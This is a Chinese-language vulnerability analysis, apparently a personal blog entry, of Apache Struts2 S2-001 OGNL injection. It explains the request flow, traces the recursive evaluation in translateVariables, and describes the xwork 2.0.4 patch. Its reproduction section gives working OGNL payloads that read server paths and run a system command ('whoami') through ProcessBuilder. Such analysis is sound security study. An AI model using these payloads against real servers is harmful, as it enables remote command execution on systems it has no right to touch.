跟着大佬们的博客,开始第一篇漏洞分析记录,记录漏洞复现分析过程,已经踩到的坑,开始入坑Java Web安全,补足自己的不足。
1-漏洞简介
官方公告:https://cwiki.apache.org/confluence/display/WW/S2-001
漏洞影响范围:WebWork 2.2.0-WebWork 2.2.5,Struts 2.0.0-Struts 2.0.8
2-Struts2 架构&请求处理流程
在该图中,一共给出了四种颜色的标识,其对应的意义如下。
- Servlet Filters(橙色):过滤器,所有的请求都要经过过滤器的处理。
- Struts Core(浅蓝色):Struts2的核心部分。
- Interceptors(浅绿色):Struts2的拦截器。
- User created(浅黄色):需要开发人员创建的部分。
图中的一些组件的作用如下:
- FilterDispatcher:是整个Struts2的调度中心,也就是整个MVC架构中的C,它根据ActionMapper的结果来决定是否处理请求。
- ActionMapper:用来判断传入的请求是否被Struts2处理,如果需要处理的话,ActionMapper就会返回一个对象来描述请求对应的ActionInvocation的信息。
- ActionProxy:用来创建一个ActionInvocation代理实例,它位于Action和xwork之间。
- ConfigurationManager:是xwork配置的管理中心,可以把它当做已经读取到内存中的struts.xml配置文件。
- struts.xml:是Stuts2的应用配置文件,负责诸如URL与Action之间映射的配置、以及执行后页面跳转的Result配置等。
- ActionInvocation:用来真正的调用并执行Action、拦截器和对应的Result,作用类似于一个调度器。
- Interceptor:拦截器,可以自动拦截Action,主要在Action运行之前或者Result运行之后来进行执行,开发者可以自定义。
- Action:是Struts2中的动作执行单元。用来处理用户请求,并封装业务所需要的数据。
- Result:是不同视图类型的抽象封装模型,不同的视图类型会对应不同的Result实现,Struts2中支持多种视图类型,比如Jsp,FreeMarker等。
- Templates:各种视图类型的页面模板,比如JSP就是一种模板页面技术。
- Tag Subsystem:Struts2的标签库,它抽象了三种不同的视图技术JSP、velocity、freemarker,可以在不同的视图技术中,几乎没有差别的使用这些标签。
接下来我们可以结合上图,来了解下Struts2框架是如何处理一个HTTP请求的。
当HTTP请求发送个Web服务器之后,Web服务器根据用户的请求以及 web.xml
中的配置文件,将请求转发给 Struts2
框架进行处理。
- HTTP请求经过一系列的过滤器,最后到达
FilterDispatcher
过滤器。 FilterDispatcher
将请求转发ActionMapper
,判断该请求是否需要处理。- 如果该请求需要处理,
FilterDispatcher
会创建一个ActionProxy
来进行后续的处理。 ActionProxy
拿着HTTP请求,询问struts.xml
该调用哪一个Action
进行处理。- 当知道目标
Action
之后,实例化一个ActionInvocation
来进行调用。 - 然后运行在
Action
之前的拦截器,图中就是拦截器1、2、3。 - 运行
Action
,生成一个Result
。 Result
根据页面模板和标签库,生成要响应的内容。- 根据响应逆序调用拦截器,然后生成最终的响应并返回给Web服务器。
3-漏洞复现
1、获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
2、获取web目录
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
3、执行命令
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
4-漏洞分析
4.1 OGNL表达式
OGNL全称Object-Graph Navigation Language即对象导航图语言,它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。这样可以更好的取得数据。而Struts2框架正是因为滥用OGNL表达式,使之成为了“漏洞之王”。
OGNL三要素
OGNL具有三要素:表达式(expression)、根对象(root)和上下文对象(context)。
- 表达式(expression):表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
- 根对象(root):root可以理解为OGNL的操作对象,OGNL可以对root进行取值或写值等操作,表达式规定了“做什么”,而根对象则规定了“对谁操作”。实际上根对象所在的环境就是 OGNL 的上下文对象环境;
- 上下文对象(context):context可以理解为对象运行的上下文环境,context以MAP的结构、利用键值对关系来描述对象中的属性以及值;
S2-001漏洞分析
先在自定义的ACtion上下个断点,然后发送带payload %{1+1}
的请求。
从调用栈中,我们可以看到在 DefaultActionInvocation
类中反射调用了我们自定义的类 LoginAction
。
路径:/xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.class
此时到达自定义类LoginAction
的username
的值为%{1+1}
。
根据披露的漏洞详情可以知道,导致漏洞的原因是用户提交表单数据并且验证失败时,Struts2重新渲染jsp时后端会将用户之前提交的参数值使用ognl表达式进行递归解析然后重新填充到表单中。
根据最开始的struts工作流程图可以知道在一个http请求进来后,会经过一系列的 拦截器(Interceptor) ,这些拦截器可以是 Struts2 自带的,也可以是用户自定义的。例如下图 struts.xml 中的 package 继承自 struts-default ,而 struts-default 就使用了 Struts2 自带的拦截器。
在 struts2-core-2.0.8.jar!/struts-default.xml
中可以找到默认使用的拦截器栈 defaultStack
在拦截器栈 defaultStack
中,我们需要关注 params
这个拦截器。其中, params
拦截器 会将客户端请求数据设置到 值栈(valueStack)
中
后续 JSP
页面中所有的动态数据都将从值栈中取出。
这里是调试的时候进入到 setParameters
函数中(F7),可以喊到框中操作是把我们的输入放进了值栈
经过一系列的拦截器处理后,数据会成功进入实际业务 Action 。程序会根据 Action 处理的结果,选择对应的 JSP 视图进行展示,并对视图中的 Struts2 标签进行处理。
如下图,在本例中 Action 处理用户登录失败时会返回 error 。
根据返回结果以及先前在 struts.xml
中定义的视图:
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.lanvnal.s2001.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
程序将开始处理 index.jsp
。
我们的payload是从index.jsp
输入的,这里需要了解的是jsp的本质也是一个Servlet,在执行jsp的时候tomcat会将其转化为java代码,比如这里index.jsp
被转化为index_jsp.java
。
当在 JSP 文件中遇到 Struts2 标签 <s:textfield
时,程序会先调用 doStartTag
,并将标签中的属性设置到 TextFieldTag
对象相应属性中。最后,在遇到 />
结束标签的时候调用 doEndTag
方法。
路径: struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class
路径: struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ui/AbstractUITag.class
在 doEndTag
方法中调用了 this.component.end
方法,而该方法调用了 evaluateParams
方法来填充 JSP 中的动态数据。
step into end
方法,路径:struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class
跟进 evaluateParams
方法,会发现如果开启了 Ognl表达式
支持( this.altSyntax() )
,程序会在属性字段两边添加 Ognl 表达式字符( %{、}
),然后使用 findValue
方法从值栈中获得该表达式所对应的值。
路径: struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class
我们来看下 findValue 方法中,具体是如何解析 Ognl 表达式。如下图,可以看到 findValue 方法先调用了 translateVariables 方法,该方法又调用了同名重载方法。问题关键,就在这个同名重载方法中。
路径: struts2-core-2.0.8.jar!/org/apache/struts2/components/Component.class
路径: xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class
xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class:31
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;
while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}
关键就在这个 translateVariables
函数,在调试过程中可以看到传入的username(expression)多次进入该函数,接下来就分析一下每次发生的变化。
第一次,通过 findValue
取出 username的值,赋给了 o
然后经过一些处理,拼接赋值给了 expression
,进入下一轮循环
可以看到,第二次的 o
取得的值已经变成了 2
,说明OGNL表达式已经执行了。
最后经过后续的处理,回显在了输入框。
最后经典弹个计算器2333
emmm mac弹计算器没成功,还在找原因。
5-补丁分析
在 xwork 2.0.4
中添加了一个maxLoopCount属性,限制了递归解析的最大数目。
从而在解析到 %{1+1}
时,不会继续向下递归了,这样就修复了该漏洞。